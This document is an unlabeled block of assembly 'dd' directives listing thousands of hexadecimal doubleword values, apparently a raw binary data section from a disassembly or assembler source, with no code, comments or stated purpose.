dd 59214AAFh, 8F0D0019h, 100854C6h, 0E4015925h, 0E73A0068h
dd 0D999D6E1h, 34485FD4h, 79288488h, 4BE9488h, 0C6D53952h
dd 0E16C82FEh, 0A168235Fh, 77310FDAh, 91E22934h, 0B053EE8Dh
dd 68C63A85h, 6E7BD031h, 12804C6Ch, 88BA2B76h, 0E69E2E13h
dd 0B146531Eh, 4370A955h, 62CD22E5h, 0ADC4F00Fh, 0D10DAE02h
dd 0FB0E0018h, 2B42B00Bh, 463D0101h, 0D22D1CE1h, 3CE4FEh
dd 7875F363h, 0AF33DB72h, 1E00F898h, 7343124Fh, 19AB2F9h
dd 297721ACh, 41760ABDh, 882C0DCh, 733088EFh, 395DB417h
dd 2CF6DCF5h, 0B8815B0h, 1940601Ch, 147FE887h, 0B443F71Bh
dd 0DEA28121h, 3074E214h, 84EE92B8h, 0A9570068h, 58BE3643h
dd 0A5142C25h, 1090A497h, 0BC88B3CDh, 189810AFh, 82EF3C36h
dd 91CA7782h, 0D0A4DE55h, 6D693173h, 714D230Ch, 0D3DD04F4h
dd 0C4083BE2h, 0B8B91645h, 0BF62BC01h, 0D4AE0CD0h, 290056C0h
dd 0A5BB8121h, 0BF03E979h, 87F74C2Fh, 2C99FC60h, 0EC98B724h
dd 884FF811h, 1E005B9Ch, 4FA3C856h, 325A2DFCh, 0D9900671h
dd 8110C519h, 0F4B987DEh, 0B920C8A0h, 0C51E745Ch, 0EF43ED19h
dd 1F0E7C14h, 204FC04Bh, 0B3662779h, 0BC4F6C20h, 1D760097h
dd 573B90EAh, 11C0BDF3h, 1B44D015h, 0E69F01C1h, 7F372DABh
dd 9164F83Dh, 7393DC03h, 188A45A2h, 39BBF330h, 7B0039EDh
dd 0B8BC61B6h, 786B048Eh, 0FF5100EBh, 47328BA2h, 460BF723h
dd 80EA1C2Fh, 0EE8106FAh, 67780060h, 0D017FA49h, 0A60EDBAh
dd 0D76DBD21h, 24F00C9h, 1985E11h, 0BE00E34Ah, 6AED3F8Bh
dd 7568873Bh, 0C49E61BDh, 0DB79F18Ah, 8B1D411Eh, 0E9FABB06h
dd 4C1C0310h, 3E35C09Bh, 68A498F2h, 11D9428Eh, 0D689007Ah
dd 983091A7h, 518117Ch, 255E00C3h, 4128CEF1h, 88988BBBh
dd 86C1B60Ch, 441C4068h, 0A63773ABh, 0BB325948h, 0C5062FF3h
dd 9103A1D4h, 0A43485A8h, 8600EDCFh, 465B6C56h, 8A100054h
dd 0A2F5F11Ch, 0A0A0379Bh, 0B8A8BEF3h, 8500CB63h, 252AD4Bh
dd 18F583C7h, 20239245h, 3EC94E53h, 326F00E7h, 7338D566h
dd 76931E18h, 691F0C0Ch, 98ACE948h, 48FEA8C8h, 0ED4F00B4h
dd 682856DEh, 7B670C18h
dd 0F5F5BA39h, 80D2C611h, 0FA1A0C41h, 0CACAD7Dh, 0B81FA2FEh
dd 0F00CE3B8h, 29D0AA79h, 49106FD9h, 6885C809h, 0A23F809Fh
dd 0C100D382h, 2249D184h, 18550E7h, 2B90054Fh, 57B9F355h
dd 410E5F80h, 7E6A2E20h, 0E439166Ch, 2FD3A0Fh, 84D56523h
dd 8C78A97Ch, 60983895h, 0F8AE797Eh, 0F97EABACh, 2015C50Fh
dd 9EE494A6h, 0C1E4B08h, 1AE92751h, 0F84CC8F0h, 0A8C305DAh
dd 90084FBBh, 0F8266782h, 2522B9h, 50CFFEBDh, 0D7EF8707h
dd 3667A732h, 0FF784110h, 0DAC622D2h, 901790A0h, 0F40E578Dh
dd 5D3580D1h, 0FB595E40h, 7AA0BB55h, 0BC6902E6h, 0F2ED4DFEh
dd 4F2240A4h, 20C0746Ch, 998A182Bh, 1742F971h, 0CC06E00h
dd 0FF5EA0D9h, 478500D0h, 0F510A822h, 0D3B9E73h, 0EF5A8705h
dd 0F3234358h, 6A590784h, 0E033E330h, 0FA230D6Bh, 5F651C14h
dd 44862B84h, 5F108D90h, 85F3188Ah, 0D2BF19h, 653CE6Bh
dd 168C487Eh, 99A8A303h, 89B2E8BDh, 78239577h, 7554EE0Ah
dd 81901CA1h, 4EC1C779h, 0A6433A3h, 88F75633h, 4AC8F610h
dd 0A02274A8h, 636B12D0h, 4D9102E0h, 0C0A00B5Ch, 0E1998604h
dd 7584501Ch, 4C15A980h, 600BDFh, 839DC8F1h, 70F6C57Bh
dd 0AE330A13h, 0EE664444h, 2361C80h, 56D60040h, 0BD4E1324h
dd 4724A270h, 0FA94A406h, 0A408B590h, 6514BE29h, 0EB3A0C9Ch
dd 6774A844h, 7188A48h, 520CB8E9h, 0EB297Ch, 0D6475429h
dd 0D517BE9Dh, 2CB0624Dh, 0BB065D9Ch, 64491FF7h, 328A89BDh
dd 45184C20h, 208045F3h, 0EBA77394h, 0FDF79CA9h, 3E0332Ch
dd 0EEC8EF99h, 0B75AB25h, 2885D531h, 2C29B400h, 8D004F98h
dd 77D49AA7h, 99FDA167h, 27211F4h, 301D6E32h, 73D8400Ch
dd 71EC67AAh, 80A18CF3h, 6FC43604h, 0E8CAB846h, 24510C12h
dd 60D88C50h, 900112F6h, 0D567F54Ch, 843039E3h, 101D43F0h
dd 0BA087FC3h, 0BD9316F7h, 7EC83430h, 773D003Eh, 0A7205B65h
dd 32EAE3ECh, 70561C02h, 0C1BE4E3Fh, 3B0CA090h, 0A08FE388h
dd 8236F7ACh, 0AF00B466h, 7B512414h, 7E077C48h, 538F705Ah
dd 3439E0D4h, 0D1729998h, 9B3A32A6h, 36AD0167h, 6F40F9FCh
dd 50CEE841h, 7A4F309h, 97D1C8E9h, 0A460D7F0h, 3C30F1D3h
dd 0F3694445h, 887F2942h, 0C022BF1h, 38973F0Fh, 44614050h
dd 62EF0090h, 9205DE3Ah, 6500D85Bh, 0F419309Fh, 0E0E980h
dd 63D15E2Eh, 0CC26B33h, 70BE5324h, 66212364h, 4498118Ah
dd 0CF1E8510h, 60705424h, 1BC17805h, 0B8E6C980h, 0ECF22E1Ch
dd 0C8511010h, 11704066h, 570C093Ah, 1922E8BBh, 776B1E43h
dd 88D0E4D0h, 0C60CD5BAh, 91E9D9h, 0EBD04DA9h, 6A547E0Bh
dd 22099073h, 19234C78h, 5FD4E170h, 0A411C00Eh, 0B8C3872Ch
dd 36DECC12h, 27A300ABh, 23F63D06h, 21046448h, 182A91A8h
dd 0B3F986F3h, 0C99E0E24h, 1E005B4Ah, 19070AA2h, 0D621C402h
dd 40AF1BFAh, 817865F8h, 27DC3298h, 3D60DD0Eh, 0A5123511h
dd 8434F886h, 9367BC44h, 0A7CA415Fh, 243A3E83h, 9F85BC50h
dd 179866FEh, 6DA44047h, 0E49F4662h, 0E98094ABh, 0F914A3D7h
dd 8F8C5017h, 0C96300A4h, 2C706B42h, 3BE80FB6h, 0D404E944h
dd 480ACBF0h, 196A38D2h, 7CC21438h, 0C2BD2512h, 5E2369BCh
dd 3C190024h, 0B7552329h, 0C10AAE68h, 143BD9BEh, 0BFA06201h
dd 94478E0Fh, 21F6D88Dh, 337513D9h, 0F8D02260h, 281DF3Fh
dd 8523A2FFh, 10B8CC49h, 14A74A3h, 31AB1B41h, 62E9BB01h
dd 580C0AE4h, 0D741B090h, 0C055A852h, 0BB5B1306h, 51814460h
dd 0A7391160h, 30B9B4h, 0CA6068B5h, 0D42899A2h, 0F570C016h
dd 5B67E602h, 4174405Ah, 534484FDh, 800C3036h, 0D9E87079h
dd 95664000h, 8228A326h, 0CFA7DB4h, 0C9B9072h, 5E4127D8h
dd 45F1E860h, 6AA1F820h, 8430F203h, 741E2F40h, 0EE811419h
dd 0CA2CC46Fh, 38F2145Ch, 8272181Fh, 59169B19h, 0D1AB5140h
dd 3A60C600h, 29EAA3E8h, 4A337A0Eh, 52184868h, 96C8F467h
dd 6F7432E9h, 3508F719h, 0E021D098h, 54670A14h, 2AFE0814h
dd 736BBD80h, 58E0C7C4h, 0AA39CC29h, 6DBEFA82h, 0F069E41Dh
dd 6360316Eh, 4C645810h, 3078226Ch, 6D510D51h, 0C10777A3h
dd 7B9D478Ch, 0A865ED70h, 6B481605h, 0E95C04DFh, 306E22FCh
dd 44840104h, 0DA078AD2h, 71A2430Bh, 0ECCBBE14h, 6850BB3Bh
dd 78B1C6h, 9C58BE1Ah, 922428B3h, 0C010DC8Ah, 0C8B260C8h
dd 0A4872F81h, 0C86C49D4h, 0E6924C00h, 36AFEE0Ah, 4E03CE4h
dd 409F516h, 0F34FB48h, 0DC2072D9h, 98A10BD6h, 8BE82441h
dd 5006111Ch, 0C588BF08h, 7D5E0051h, 0C891CD36h, 0D7F4D660h
dd 0C76781C0h, 74F19F3h, 0EFFB3163h, 0C15500DCh, 6138BBF6h
dd 0BE270FD5h, 3698C33Bh, 0A4A8A034h, 0F3B92499h, 6E0C41FCh
dd 88718E91h, 68723A2h, 1CB0138Ch, 2D006CCCh, 1A086C9Bh
dd 10AC2C46h, 11FF8428h, 0B9DBC646h, 2188400Eh, 60C72F02h
dd 0D178AB61h, 75320446h, 8CBF5266h, 5A3553F4h, 1CD00A8Ah
dd 0F8FE31C1h, 61660067h, 35077762h, 50129EE4h, 4C045D38h
dd 2482C8C4h, 664119F1h, 64240364h, 347728Bh, 138B5E1h
dd 0F490CF30h, 5C0080B8h, 8FE54232h, 5B5078h, 46F86B14h
dd 0C02D24F5h, 0A065BE24h, 20F0CE52h, 0E8B98327h, 0DEB9FB00h
dd 261D09Eh, 0A3A25F7Fh, 84C768D7h, 26002911h, 0DA2D7D74h
dd 0AA04D297h, 0A3BB33DCh, 191960C2h, 0BCCC145Ah, 0E11A0065h
dd 5E745F9Dh, 0D70AA6E6h, 0CCE5F531h, 80882715h, 10C5C25Bh
dd 0E4F65930h, 87342608h, 8A00DB11h, 0DAB73B37h, 52F02AE7h
dd 681E0C00h, 4D2B5879h, 0BC0099A2h, 40905525h, 5B00ED68h
dd 0D99E7158h, 0E7421Ah, 0C0597E82h, 0A5155422h, 10C09B48h
dd 288890D0h, 0CF4C93B9h, 0AFF8A80Bh, 149748ACh, 5F80E098h
dd 25BC4C69h, 460085E2h, 91665796h, 17C9D5B8h, 3816E332h
dd 7C8875F8h, 48B47F18h, 0CE0767F8h, 11781B32h, 237BA2AFh
dd 0E0172488h, 94BB5967h, 4A3700B0h, 0FC4279FFh, 6800BEB2h
dd 59CFFB0Fh, 7ACDAEDDh, 998A2693h, 9FD54004h, 0F42E7AE1h
dd 9A605C27h, 3A1590h, 4A1FC3AEh, 0D7FB89AAh, 8021711Eh
dd 0C066035Ch, 51158891h, 0B500E80Fh, 5510C991h, 231D0111h
dd 5F40BEF0h, 4926752h, 99122966h, 0C48A009Ch, 0D0A9BA6Bh
dd 0A893AE00h, 0CD0CD4BFh, 0EC7308B8h, 68191094h, 0A8346931h
dd 0C1A44E8h, 0B9835134h, 6F59C831h, 0ABFC0h, 0EEF712C1h
dd 687D3F11h, 3BA3D448h, 1D3E897Eh, 29B899D8h, 23A4C014h
dd 382584D0h, 0F0641807h, 70C548D7h, 9FD45D83h, 9D08F698h
dd 57452B02h, 60B17F1Ch, 8139FE48h, 3100DBC6h, 3EFAF5A4h
dd 76F3098Ah, 23422C07h, 27BC6ACCh, 0FD099082h, 40665F11h
dd 50182810h, 9C456700h, 20FAB831h, 6E138436h, 4C016305h
dd 0A4C25AD6h, 0F4012F83h, 0CA611835h, 0E2009046h, 0FE9BC556h
dd 0B420E0h, 40897C5Ah, 0B092A016h, 93EFC316h, 0C5BAF849h
dd 0A7CA81B8h, 807098A4h, 632F4D69h, 0A83780h, 8DDA088Ah
dd 43571366h, 0F34AC1F2h, 0DF72D844h, 41E12h, 9A6B4306h
dd 8B7647C8h, 4621EA06h, 4470C391h, 0FC4EBA92h, 199E7472h
dd 61881050h, 498DF0A8h, 7D22D87Bh, 0F6BFDE03h, 0B8D6412Bh
dd 25CB5Dh, 0AA33FFD4h, 8A685B30h, 8462FD09h, 0ABC44F6h
dd 0D7C6C0FBh, 0DDB480E8h, 66D04A17h, 0A62D6702h, 615240B7h
dd 61FC31E0h, 0E8AE507Dh
dd 4558861Dh, 8087C8B4h, 0ADF7B727h, 4003532h, 0DB84B5E2h
dd 2EFCC1B6h, 18F1D7A5h, 0D47390Ch, 0EE663601h, 6B3F3070h
dd 58698C4h, 0CEFACA8Bh, 0EAE881BCh, 246D0822h, 9DD865C2h
dd 0D62CE06Ch, 0E8005442h, 9D036EE4h, 418B2763h, 0A579F838h
dd 10277891h, 6130D0h, 8D1EA9D6h, 0EF567F87h, 72F1E8C2h
dd 18112F10h, 1641D5C6h, 0EFB00E8Ch, 710F216Dh, 370049AEh
dd 939BADFBh, 399CC848h, 4486202Ah, 0E50113D2h, 7F4F1C5h
dd 0C84CDBB8h, 14C35563h, 13C822F4h, 8022514h, 0A164539Ch
dd 86F0C853h, 76B4000h, 0A20802A3h, 80C4623Ch, 0BD00DFCAh
dd 4AD49A6Ch, 0F32C724Fh, 9219DC90h, 4463D700h, 53F83569h
dd 0CEAD0F5Bh, 4865910Ch, 0A768C365h, 0A9D322C4h, 0D0981BB0h
dd 1CE58142h, 0C0A41EB6h, 195F0DD3h, 0B0002955h, 8DD4CFA0h
dd 0D4AFFAEAh, 0ED3B8049h, 10F86845h, 4FCC17DCh, 4B861A1h
dd 2436B325h, 0C5217300h, 2E9C53D1h, 279302E8h, 0A2330A12h
dd 0BA1E0448h, 808C2C41h, 9C35A7ACh, 6A300F0h, 0B9133EF1h
dd 0F30884F5h, 1062EBFFh, 825AC83Ch, 0EA2015E3h, 0A0DAD442h
dd 0A819B242h, 62F391C3h, 0BEE3006Ch, 9F80DF79h, 649200B2h
dd 5F94852Eh, 563BFE2Ah, 0D73E817Eh, 0DCB22016h, 0BB8AE86Ch
dd 0BD420174h, 3054B7C0h, 90904330h, 21469930h, 0F3556F1h
dd 13F790CAh, 0BC847020h, 0D22FD331h, 593C8D69h, 4CB5020h
dd 4D8B4F17h, 0F9948C20h, 380CEB5Ch, 0E040CF98h, 3943C4B2h
dd 92E71CA2h, 58140F0Dh, 0D8B490F6h, 0CA01E4F4h, 0E92F05EFh
dd 9C42BDC9h, 92219F0h, 0EF164C41h, 1C1CB205h, 0A4009F6Eh
dd 0C137D207h, 5C87590h, 0BAE08DEEh, 4E4A5DBh, 6CA081CAh
dd 18E9109Ch, 3E61F020h, 0C600BCD4h, 0C00C9DCBh, 2A001455h
dd 49670FCDh, 14787B4Ch, 0EF7E7A4Dh, 43F06D1Ch, 0E273F73Ah
dd 0F071EBB9h, 476148E6h, 88EF7908h, 79636C0h, 63C3A772h
dd 7EB901A6h, 642080F2h, 0AA5288A2h, 765C0178h, 0CCD5F997h
dd 0DE4180B8h, 36445A18h, 6F700604h, 703398F0h, 79EEFC19h
dd 60C0CA88h, 23D206DEh, 76A92578h, 52D69800h, 0A1917457h
dd 134100B4h, 8CA026C1h, 0E1F8CAA7h, 18009998h, 0D43479Dh
dd 0C37CF9D6h, 0ED767B79h, 6DD5611Bh, 78B7E0D9h, 547C50C8h
dd 5E698880h, 0DC7BA0A1h, 0D6005CECh, 0BED88625h, 0CA539E7Ah
dd 911CC4E0h, 0E45918B9h, 937E08h, 0CB2D7C23h, 0FE0BA199h
dd 65B55B00h, 0C979CAAh, 0FCF83014h, 12990A89h, 0A4FDA000h
dd 812325F6h, 86B3000Ch, 1BF9DFC2h, 42E19A20h, 0E2213098h
dd 0E6004159h, 0AE60C25Ch, 5B38F279h, 881348CAh, 4354F507h
dd 53E26118h, 0EA318403h, 0FC45E5C7h, 1E8C4ED4h, 938B2320h
dd 0DF0221E2h, 4AB051Ch, 880C40E1h, 4D558831h, 0D2D949C3h
dd 0D0A7C85Dh, 0C5050E1h, 0A4FF00A3h, 28DFCDFAh, 408847A5h
dd 0E8110663h, 81F4F9E9h, 7ADAEF02h, 91C3778Eh, 21F66FD0h
dd 81D15D7Bh, 27A18619h, 39A8F45Fh, 0D3AF0864h, 4C1143C3h
dd 0F1528607h, 0D0A1309Dh, 750570EBh, 1FDEFBF0h, 9C5B840Ah
dd 72FC7460h, 6F878055h, 0C8AD3F0Ah, 7114F9ABh, 888C24A0h
dd 80075342h, 0D6652F7Ch, 146B02BAh, 66588552h, 9171A841h
dd 7D0C0B28h, 4FE9DD24h, 8D47F400h, 3C3FA177h, 988A6029h
dd 70D8DA1Ah, 0E9D5FC30h, 3EDFB1E4h, 0F62C6Eh, 3FF677DCh
dd 24859396h, 80A6FBFAh, 7B796B61h, 9448DD77h, 19313DACh
dd 8D2AEB09h, 42F40422h, 8671BA13h, 0F8519750h, 188CA65Ah
dd 51D3FFFCh, 92140E6Fh, 508E7B0h, 50E2C854h, 0F2781800h
dd 71EAD0F1h, 0EC29CCF4h, 2A846FA0h, 98D01578h, 9A81C08Dh
dd 0E934795Ch, 99586900h, 70372F01h, 852B0497h, 8F78C2D6h
dd 8CFB3E04h, 50C8C193h, 527D88EEh, 0B1349101h, 0CCB6B02Ch
dd 39FFE5D8h, 48E1EC4Fh, 8D9748Eh, 0F74A04C1h, 87ECA1D6h
dd 78AD4098h, 0EC9175FCh, 6906B511h, 0F1420F13h, 0E0DBFF04h
dd 0E8ECAAC6h, 0B281DE03h, 9810A006h, 6450C229h, 1376887Ch
dd 27A7EB0Ah, 8893B83Fh, 17C00030h, 724E00CFh, 899431A0h
dd 9A00E385h, 0D31481CDh, 0A33BAB5h, 0ECF53DCFh, 44AF64E4h
dd 0A88CFDEAh, 0F06B00FFh, 70B26F72h, 0C1078D13h, 22471E3Dh
dd 0D5EC918Dh, 0D9E80852h, 3F3EC0FBh, 2CBF80A7h, 7A349421h
dd 0FD523CD0h, 0A12FC301h, 20A46971h, 4D499A3Fh, 0FDEB0C98h
dd 0E2379F5h, 0FF3AC18Ah, 14960A21h, 0D79CE017h, 70154Ch
dd 92465A7Fh, 0AB4C9374h, 0C3BDA0A4h, 81CE0C39h, 0D589DC73h
dd 0A98E6A32h, 0A04459h, 0B1844097h, 0F0DF482Bh, 40D21926h
dd 38077303h, 6FE80020h, 0B3701432h, 26000231h, 0AE74D79Fh
dd 7B30CBAFh, 296E0037h, 83A84EA5h, 621DE187h, 0B7805011h
dd 0C4B9C686h, 18EBEAF1h, 78E0CFF2h, 9229D613h, 0D809463h
dd 66EFAFE2h, 984B001Bh, 37F433F6h, 500A52Eh, 0DFD969C1h
dd 0F8E9FCDDh, 449D2D6h, 971F53Ch, 0C8709348h, 28FC9329h
dd 13C7B282h, 48F9FE27h, 4C80EDCCh, 56DE7F2Fh, 5ECE020Eh
dd 0B7F0E623h, 0F58D044h, 9D3A80D4h, 1C107FBh, 0AD5152E3h
dd 0D8C555D5h, 0BC165C44h, 68009C63h, 39ABCED9h, 1BB1024Dh
dd 0F6FBEB89h, 5073B4A7h, 0BC5BDFDEh, 31A14334h, 4FAFF480h
dd 4AB9C085h, 0B6F0E809h, 760F24E4h, 0A0584229h, 6904F7BEh
dd 525E0085h, 2572DC5Dh, 78158E49h, 3BF040F5h, 497BC4C0h
dd 7181EC62h, 21C0D009h, 0AAFCC1Ch, 0B1022B7Ch, 0A06A4B37h
dd 0F142DFB7h, 17198880h, 0C400B4F1h, 0E7FACCEFh, 0B013D42Ah
dd 331509B1h, 24104970h, 370E5446h, 10F86Bh, 360BF0EEh
dd 356700D2h, 82FFA0DFh, 9C07B4C1h, 104B502Ch, 711B4010h
dd 8010908Ah, 0A0BAF108h, 0A8F6F814h, 2E3CBCh, 0D1813BFFh
dd 63A93EE2h, 7C376500h, 4AE64151h, 1D24076Ah, 81D7A4C1h
dd 0CBE11F3Eh, 29F16FC0h, 5C7B6702h, 0E06CDF9Ah, 0A56178h
dd 5EC169D5h, 0C9F81C0Eh, 453E70B8h, 13EC2h, 2B136735h
dd 2881F3D8h, 0C085DC7h, 8CC0D60Ch, 0AC01DEF9h, 0FA37BCA7h
dd 0B180F10Fh, 9187CF86h, 0D7059D45h, 0C720B48Fh, 6E4DF602h
dd 0B0846060h, 8EE720CCh, 768846FCh, 0E9EA3B2Eh, 644CFABCh
dd 0F2247783h, 0B0D87FC3h, 8F241AFCh, 0FF08A4F9h, 0F0D8BDCCh
dd 0A72B6E80h, 2200A650h, 0B73560B3h, 8E0348h, 3E01FC28h
dd 704067E5h, 0F8F0831Fh, 8135C0ACh, 0E07DC81Eh, 0D69603C9h
dd 0DEE13C17h, 135AB9Eh, 0D9B2CD07h, 404FED72h, 44603B1Ch
dd 28145200h, 25D0DA70h, 766F3C89h, 979D589Eh, 592406C4h
dd 537A69DFh, 5C00DDE4h, 0D6EB6DF0h, 57A8E5Dh, 0A0655488h
dd 0DE6C80E8h, 0F003F973h, 2239EB03h, 8871007Bh, 23E9B921h
dd 5DEE3414h, 4A124C70h, 7443A819h, 0EF7F8A6h, 7A78E7C9h
dd 1CFE3C00h, 0C80079E2h, 1913D30Eh, 40DC724h, 0C5D6B347h
dd 34A7AAh, 0D00F14CDh, 7F2DC646h, 26560080h, 70038ADFh
dd 0D498BEC3h, 2F6F322h, 8E51A5E2h, 0C8A5EC75h, 0DF84818Ch
dd 65B07003h, 63FCE740h, 330E21EFh, 0D360BDE8h, 80312128h
dd 0DF50F877h, 988BE398h, 1BFA2C4h, 2582B59Ch, 0F175ABB2h
dd 0F59FCC30h, 0E918F27Bh, 0FC3138FEh, 4061DFD6h, 626ABFD4h
dd 9A0010BBh, 0FB9C039Dh, 4C2445D6h, 48CB445Eh, 0ED996010h
dd 0F91A3000h, 0D2A0E813h, 5CC7EEB1h, 0A13A78FDh, 1FEC4889h
dd 880F4405h, 43009038h
dd 0F884F4D2h, 4719150h, 79EAF994h, 0F52C8242h, 59A2120h
dd 36FA0386h, 4EBF8A7Dh, 0A8C85FB0h, 6CB8B604h, 60B032CFh
dd 0EB304058h, 38228724h, 2B7FE140h, 0A0A612DBh, 0C938C8D6h
dd 54D2B201h, 69703DB5h, 82377020h, 29A630C3h, 4CA2B909h
dd 27F30FD5h, 54B01F9Bh, 0DD31FCh, 4ACF247Ch, 0B4689974h
dd 0A43D0401h, 0A130A6F0h, 1C32D061h, 4ED14500h, 0F195D7CBh
dd 14BC315Ch, 88F0A6F4h, 372082C0h, 5DE08CF8h, 5700EA73h
dd 0E775D98Bh, 26B69C8Ah, 40A44807h, 0D4F72853h, 0DA2C1B03h
dd 0D03758A0h, 2B093BFh, 0E02BC6D0h, 848EF6D5h, 390CC586h
dd 28747B24h, 0C8C38A4Fh, 130450A4h, 30D05C8Fh, 1D77D68h
dd 0FBF94FBDh, 72C7EB88h, 0B903776Ch, 18DAD944h, 0DB5CC07Ah
dd 84F803E5h, 0FCD48258h, 0B3C61EEh, 6F021364h, 0B2C03460h
dd 619F6DAh, 0AEC25238h, 0D00111B1h, 0D6ECCA31h, 998C7AC1h
dd 6E79DC59h, 0DD65E800h, 0BC1BC688h, 0BB1D18F7h, 119D2975h
dd 0BE427A01h, 0C843FF3Ch, 39C170h, 0A0BA88CBh, 641E3036h
dd 0AA19BC07h, 0F8111489h, 4747F9Bh, 98D6887Dh, 19A96100h
dd 0B4D10677h, 58A9909Fh, 7D253FFBh, 8CC74805h, 4E8E5F9Ch
dd 5B7862A6h, 0FD086B19h, 0EA2C5004h, 14B0F996h, 0A2811C07h
dd 0C90B9EFFh, 0D407F1DCh, 20AE58C6h, 0C8AF2600h, 2C14D6B6h
dd 8E8B9DAh, 2C267A21h, 94F7B160h, 7DEC005Fh, 77AE4AFFh
dd 0AA02A609h, 4FCE22E8h, 735082C5h, 42C311C1h, 2CC4595Ch
dd 7613EB0Fh, 5DCEE0DCh, 40EC78F2h, 484CD310h, 0D44783B4h
dd 0B892D36Fh, 0E370469h, 0D2646D73h, 6AC7F842h, 0C0A04CC0h
dd 71D7FB30h, 5E574Fh, 85516E7Ch, 763D5C35h, 270041F8h
dd 0D91F8726h, 5095B281h, 2032C0A7h, 6B5096F0h, 689A6554h
dd 11E1FB21h, 740200D8h, 76EF9EDEh, 0B4B2009Ah, 53E231EDh
dd 0C09C70A5h, 0DA88E390h, 44BF0F80h, 4CB45E2h, 331D692Ah
dd 0A54CC456h, 0A47440B4h, 0E3E6771h, 194330B9h, 265489E5h
dd 800DDC7h, 86067A2Ch, 0B18122h, 0B21762CDh, 5DBE6804h
dd 2C21A600h, 9941DEF1h, 798125DFh, 8BCF0AAh, 7480F9FCh
dd 4C95B79Ah, 0C5A1121Bh, 0E73C90AEh, 0CF7DFA5Fh, 0F734C701h
dd 0F4A14FFEh, 0D022B83Dh, 86BFF02h, 60F25460h, 2B5974h
dd 57A519D6h, 7B70110Bh, 51E2420Ch, 4AEAD110h, 0FCFC4BFDh
dd 0A86A5410h, 0FAE8F704h, 9CCC206Dh, 72C730D6h, 8C95F1E9h
dd 0D5234200h, 0C0194971h, 0D291C8E0h, 0DCC2869Ch, 0C84D545Dh
dd 4AF5EA2Ch, 87F84BCEh, 90C88409h, 6D005F09h, 0E3153867h
dd 0DB9F9Eh, 93EF0C97h, 6927B12Eh, 101038B1h, 796AD509h
dd 0B481D41Eh, 648917D7h, 0D2AC00C8h, 11E4F788h, 5600BAD6h
dd 7C841D14h, 1C1B831Eh, 0E881F1h, 5C67E6EEh, 1001DF40h
dd 87B9FFDAh, 0E7E06B7Eh, 3CCB0050h, 3027C7E0h, 0E212ECD2h
dd 8408F88h, 0D774C0E6h, 0FBF7036Ch, 95EE381Fh, 0F5EB3BCBh
dd 0C8AE54F8h, 75D2A8A3h, 2DABD020h, 0FBDE2D09h, 0EDDCD023h
dd 0E51A3988h, 7014C301h, 34B232C1h, 0F588E0F2h, 0DB8101A9h
dd 74380910h, 0C10841ADh, 0E114415Ah, 6C2252h, 0FF57627Dh
dd 0C5EF194Fh, 40DE2478h, 96CC03C0h, 7302C001h, 305104CFh
dd 0DAE0C39Eh, 13E3049Fh, 20D96098h, 2BECC2BDh, 0FC22C9F2h
dd 313300EFh, 0D5756A03h, 0A4912836h, 9EBA3F80h, 4A66F747h
dd 0F644978h, 90233848h, 0FF051900h, 0C0168BFh, 44AF3F21h
dd 4BDE4080h, 0C878C47Ch, 0C8390F69h, 770218h, 0A618BC53h
dd 63CD5A24h, 5C06D15Ah, 8899DD74h, 0EDA4D34h, 6B502A81h
dd 416EBCC0h, 8B035CEFh, 0C71DED9Dh, 0C00EB8C9h, 0D4F74839h
dd 7490F68Bh, 0D70EACC2h, 9DAD6984h, 0DCD46E52h, 9CEFE408h
dd 5D834152h, 6BB2D2E2h, 240D4A0h, 0D8A103F8h, 0B4C83F32h
dd 5FEAE5D3h, 73115C93h, 63934A00h, 8A4EB269h, 14599703h
dd 0C2587554h, 914CD048h, 5079BA04h, 8F80EFh, 0DE43C1DFh
dd 4EC7975Ch, 3CA4F600h, 691C14B6h, 0AC742850h, 5BC60068h
dd 920E6DF7h, 4674580Fh, 59DBFC30h, 37D5135h, 0FDDA12D4h
dd 0F4E067E2h, 690A1DE3h, 24AE7426h, 9861C00Ah, 0C827A44h
dd 0D11048CDh, 0F4AF1772h, 0A09000F1h, 0C3D622D0h, 5824D091h
dd 14029C85h, 0FE59E063h, 3F05B051h, 6D00B33Fh, 4AD46203h
dd 6C00E8DBh, 0A43A8D90h, 13CE0FCBh, 224C075Ch, 48A89D58h
dd 0B8CD14B4h, 20D47684h, 9BAFFACh, 5C8E5692h, 7587D490h
dd 0C5C3F804h, 5CC2701Fh, 1000C2DAh, 7F5968Ch, 99C406ECh
dd 70A7B7F7h, 4970A4B6h, 0B700A0B1h, 9E1B6907h, 573A009Ah
dd 88199FBCh, 0CC9830D2h, 52E24C16h, 72485492h, 0F42C002Ch
dd 0AC24D262h, 0D0002D84h, 8F5ECB1Eh, 10FAB70h, 4CFB7608h
dd 3832F7F9h, 0A009037Ch, 0C0890B6Fh, 2C708C6Eh, 1870C951h
dd 9FE761F4h, 93624200h, 0EFF96654h, 2D1DF04Ah, 2809436Fh
dd 0D57B6000h, 1F12DDF6h, 7D042ABCh, 7CC046F8h, 0B4FBD0DAh
dd 477180F0h, 3FB0560Ah, 521D8309h, 0D2480408h, 57BAD540h
dd 75223A14h, 5CD8908Ch, 72C84CDBh, 0BC5D29BEh, 5C0D1B2Ch
dd 84E230DCh, 0B566A90h, 0BC98781Ch, 0D18870CCh, 403CBCE1h
dd 0D478FA7Dh, 608EEC26h, 94F50D00h, 0BC73F6D8h, 0CB9F4004h
dd 0D3002A1Dh, 51870ED7h, 9C3A19Eh, 0B4B7470Ch, 0A831500Bh
dd 6DEA10D0h, 32BC1EF0h, 60A0ECF7h, 0C9EF9A50h, 204FC725h
dd 0A3F5B574h, 4B350146h, 9B756D59h, 48A2E20Ch, 7CECD6EFh
dd 516C5C0Bh, 7D9C0071h, 0BED06D24h, 5F91C024h, 6C00FD96h
dd 0B723D673h, 13C8E3D2h, 804CA259h, 32DFF944h, 0F827DA1Eh
dd 41310320h, 5A64A8C2h, 5829DCE8h, 740114B8h, 0FA4EE623h
dd 0C8E00309h, 57410083h, 0F0DA8639h, 0E900BEA8h, 0B770B922h
dd 34522Dh, 0FA74CB0Ah, 87C39860h, 0E564105h, 0D442E9F8h
dd 0E0547C28h, 3EC694CFh, 9E1C7AE0h, 0F09D5403h, 5C754E00h
dd 0F236E64Bh, 0DC00549Ch, 2A6CDD9Eh, 4168BEA6h, 32F81276h
dd 581D01F4h, 9F836C4Dh, 0A3169444h, 4AF03049h, 4174C16Ch
dd 0C87C7811h, 490E924h, 0E74064B6h, 4EE086D6h, 0B293F0E8h
dd 0AE65EC04h, 3C945FC3h, 0E10CA0A2h, 6E11406Fh, 24A925FAh
dd 1C61E8D2h, 4400817Dh, 5CC2C0FAh, 0EDFB28Ah, 0C7EB277Ch
dd 66114CB4h, 0F9EA1B4Ch, 0E77BE161h, 5D869C50h, 70A1022Fh
